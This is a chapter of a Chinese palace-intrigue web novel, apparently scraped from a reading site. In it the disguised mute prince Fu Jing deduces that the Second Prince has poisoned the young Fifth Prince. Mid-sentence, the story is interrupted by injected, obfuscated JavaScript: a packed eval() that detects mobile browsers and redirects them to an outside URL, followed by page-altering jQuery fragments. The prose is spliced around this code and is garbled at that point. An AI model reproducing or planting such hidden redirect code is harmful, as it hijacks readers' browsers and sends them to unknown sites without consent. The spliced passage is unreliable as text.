默认冷灰
24号文字
方正启体

6. 第 6 章

作者:陈疏晦本书字数:K更新时间:
    今天又是傅璟需要去文华殿里陪着四殿下上学的日子。她这两年跟着上学,跟着学武。也不知道是不是饮食和皇子相同的原因,还是父母祖辈武将血脉影响,她竟然格外高挑些,放在男人堆里头算得上够格,要是按照姑娘的标准看,甚至还高了好些。


    傅璟还记得前几日,她从小叔面前路过的时候,江忘悲还有意无意地比划了一下她的个头,然后长舒了一口气,这么想来应该是怕她个头不够,被人看出端倪。


    她想到这里,无声地笑了笑。正在帮着系腰带的明喻礼抬头看了一眼。明喻言跟了傅璟后的第三天,妹妹明喻礼就来了,如今这两兄妹也都是十五岁。


    “主子。”明喻礼给她腰上打好腰带,转身从低一等的侍女手上拿来热水盆:“昨天夜里下了雨,今日怕是还要被磨挫好一阵。”


    这事傅璟心里也有几分数,她点点头示意自己知道了,接过浸了热水的帕子擦了脸,拉过明喻礼的手写道:“大不大?下成了什么样子?”


    “不算大呢,只不过四殿下的腿肯定还要疼上好一阵子。”


    附近的侍女为傅璟披好银鼠皮大氅,她们也是服侍了两年多的老人了,都对二殿下阴毒暴戾的性格了如指掌。自家主子受难,作为下人也有可能被迁怒,一边的金桃唉声叹气地开了口:“好姐姐,方才银柳出去浇花,拎着水壶又回来了,说是雨又大了呢。”


    明喻礼也跟着叹气,这天一下雨,二殿下的腿就疼,他腿一疼,心情就差,心情一差,从下人到陪读乃至御前的太监侍女、后宫里的宠妃,甚至到路上的蚂蚁——


    他都恨不得踹一脚。


    傅璟早就习惯了,她甚至很有闲情雅致地伸手去逗那挂在门口的黄鹂鸟。明喻礼没好气地瞪了她一眼,银柳刚好从门口进来,浑身湿漉漉的,正好被明喻礼抓了个正着:“你这又是怎么了?”


    “明姐姐,”银柳慌慌张张地:“也不知道二殿下怎么了,静思殿那边的扫撒太监跟我说,二殿下突然被御前的人带走了,你看这......"


    静思殿是二殿下的住所,当年据说二殿下为了这个名字还闹了好一场,不过被陛下两板子下去打老实了。傅璟来了以后,就住在同一个宫苑的澄瑞堂,两个地方挨的很近,甚至能在雪夜里听到陈客明摔东西的声音。


    皇子出事,陪读也少不了被责罚。傅璟默默的站直了,鸟也不逗了,情也不闲了,抬手生无可恋地搓了把脸,拉过银柳的手写:“你先去换衣服。”


    ”啊?“银柳明显愣了一下:”可是....."


    明喻礼也一脸绝望地看过来:“听王爷的吧,现在二殿下干了什么事都无所谓了,一会搞不好大家都要被罚,你别先生了病又要被打,那可没人照顾你。”


    银柳和金桃一个去换衣服,一个去找伞。屋子里一下子安静下来,傅璟偏过头,她已经比明喻礼还要高出来接近一个头,那点底细明喻礼也清楚,她开了口:“喻礼。”


    “王爷,一会等银柳过来再问问吧。”


    “不,我不想说这个,现在无论怎么样都要被罚,而且扫撒太监怎么可能知道这种事情的内幕,我在想另一件事。”傅璟目光炯炯,她似乎突然想起来什么:“你记不记得前些时日,二殿下身边的观正,送雨具来的迟了,被二殿下一脚踹出去那件事?”


    “记得,可是......“明喻礼欲言又止,她还是没明白这到底有什么关系。


    傅璟抬手打断了她,示意让自己先说:“金桃当时就说了,观正被踹的起不来,请人来看了,说是骨头裂了,又下着雨,疼的厉害。”


    明喻礼还是没明白自家主子到底想干啥,现在不着急弄清楚到底出了什么事,反倒是关心上二殿下身边一个丫鬟:“......主子.......”


    傅璟绕了一个大圈,把话说回来了:“骨头裂过,阴雨下雪了会痛,如果真如二殿下亲口所述,跛脚是先天不足,何至于疼成那样,而且来来回回也不让太医院看,分明就是不想让人知道他疼。”


    明喻礼一身冷汗,心想这是能随便说的吗,没外人也不能这么干吧。一扭头,她远远见着银柳换了衣服回来了,赶紧往前几步问她:“金桃呢?快些吧,别真让御前的人来叫咱们了。”


    傅璟得到了提示,从善如流地把嘴闭上了,继续装一个漂亮的哑巴王爷。金桃带着伞过来了,傅璟拿了就准备走。两个侍女在后面担忧地看着她和明喻礼。


    “银柳。”明喻礼问她:“还知道什么吗?”


    银柳摇头,傅璟对明喻礼龇牙,意思就是:看,我说的就是对的。


    明喻礼又翻了个白眼,没好气地唰一声把伞打开,宽大的伞沿把两个人囫囵地兜进去,细密的雨丝在那人脚下打成一片水花。


    傅璟站在那伞下,她披着银鼠皮大氅,内里罩着一件靛青的宽袖袍服,卷草纹细细地缀在下摆,身材清瘦高挑的少年对她俩咧嘴一笑,比划了几下,示意她们不要担心。


    明喻礼在一边撑着伞催她快走,傅璟走了两步,还转身指了指那架子上的黄鹂鸟,大概意思是嘱咐着她俩记得喂鸟。


    那黄雀儿就真的在架子上映景地叫了两声,把几个人都逗笑了。


    外面的雨还在下,下的很厉害。福禄站在宸极殿门口,里头早早进去了陛下、柔贵妃、二皇子和年幼的五皇子,自然是知道这是皇家家事,留着个他到底碍眼,便早早退了出来。


    他有个叫常稳的徒弟,十七八岁的小伙子,平常就挺机灵,他悄没声凑过来:“爹啊。”


    福禄瞥了他一眼,见里头没人出来,这宸极殿门口也没人来。他甩甩袖子:“啧,慌手慌脚的成什么样子,说吧,什么事?”


    “要不要去请肃王来一趟。”常稳退开两步:“这次看着可是大事,您看这.....哎呦,您打我做什么?”


    福禄刚才在自己徒弟脸上啪啪拍了拍,恨铁不成钢地看着这小子:“真真是个猪脑子转的世,你赶紧聪明些罢,不然这以后可怎么在御前活着呦。”


    常稳不明所以地揉着脸颊,顺着福禄已经远眺的视线看过去,细密的雨帘当中,远远走过来一行人,为首伞下那个,长身玉立,衣着低调,披着一件银白色的大氅,里头隐隐绰绰露着靛蓝色的底,竟然好似博古架上插着花的青花瓷。


    傅璟身边此时已经是明喻言,他几乎和傅璟身高差不多持平。主仆两个人出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854587|191627||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    奇的一致。等到走的近了些,明喻礼一抬伞,傅璟就这么看了过来,常稳眉心一跳,心里想着:好一个青花瓷塑出来的菩萨。


    唇色也淡,眉目也淡,神色几乎要融入细密的雨丝与水雾当中去。常稳见肃王见的不多,他一时间甚至有些看愣了,还是福禄走上前两步,遮住了他肆无忌惮看着肃王的视线,又回头狠狠瞪了一眼他,这才让常稳反应过来,噗通一下跪下来了。


    这尊菩萨是个菩萨样貌,看着也是个菩萨心肠。常稳盯着人家最起码看了半炷香,换成别的权贵估计早就让他滚进大雨里去了。只是这肃王摆摆手,他身后那个冷着脸的侍卫就过把他提溜了起来:“王爷说不用你跪着。”


    “多谢王爷。”


    福禄没表示什么,但是看了看常稳,他又看了看神色平静到几乎让人觉得荒谬的肃王。


    就在昨天,顺嫔的家人被惩处了,她的哥哥被带到宸极殿里头去。她在外面闻讯赶来,一开始侍卫都不让她靠近宸极殿,可那到底是宠妃,又是个武将世家出身的女子,她推开一个又一个人,推开一扇又一扇门——


    就在这个宸极殿门口,就在今天肃王站的位置,她哆嗦着一句话都说不出来,没有再去推门的勇气。


    没人知道宸极殿门后的对话是什么,惩处是什么。而命运到底会走向哪里?这个问题一直都让人恐慌至极,福禄至今为止没有看到任何一个人,站在这一念之间分叉巨大的地方,还能淡定自若。


    肃王是第一个。


    准确来说应该叫顺庶人了,福禄慢慢地想着,顺嫔被一撸到底,再也没有了任何抗争的底气——就像她并不能如以前那样,猫被打死了就天天在皇帝身边给二皇子上眼药了。


    按照道理来说,福禄这个时候不会告诉她任何事情,这一点是在场所有人都心知肚明的事情。所以傅璟并不打算问,但是她还是等到了——


    “王爷,”福禄突然说:“最近天气可不好,您身体不错吧,太医院这几日都乱成一锅了。”


    傅璟几乎是瞬间就惊愕地回了头,她没来得及想别的,诸如福禄是不是来试探她的,为什么突然说这句话——


    这句话在她脑海里指向了一个恐怖的结果:二殿下去过太医院,并且拿走了什么东西,最终导致现在的局面。


    福禄和她对视了几秒,他还是初见时候那种皮笑肉不笑的样子。是傅璟先开了口:“多谢公公担心了,身体向来不错,二殿下倒是因为最近天气原因常常喊疼呢。”


    福禄低垂着眉眼又笑了一声:“宫中贵人身体最近都不好呢。”


    傅璟一点一点把头拧了回来,她脑子里几乎在放炮仗了。福禄话里话外的意思就是说,二皇子从太医院拿了什么东西,导致宫中一位贵人出了大问题。


    是真的吗?福禄到底为什么突然说这话?福禄怎么想的?是陛下的意思吗?二皇子拿了什么?他怎么拿的?他想干什么?


    时间似乎过去了很久,这些疑问被卷入思维的漩涡,最终锁定在了一个人身上。


    傅璟压着呼吸声,长长地叹了口气。


    五皇子。


    如果她没想错的话,这个被毒害的人,应该是五皇子。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)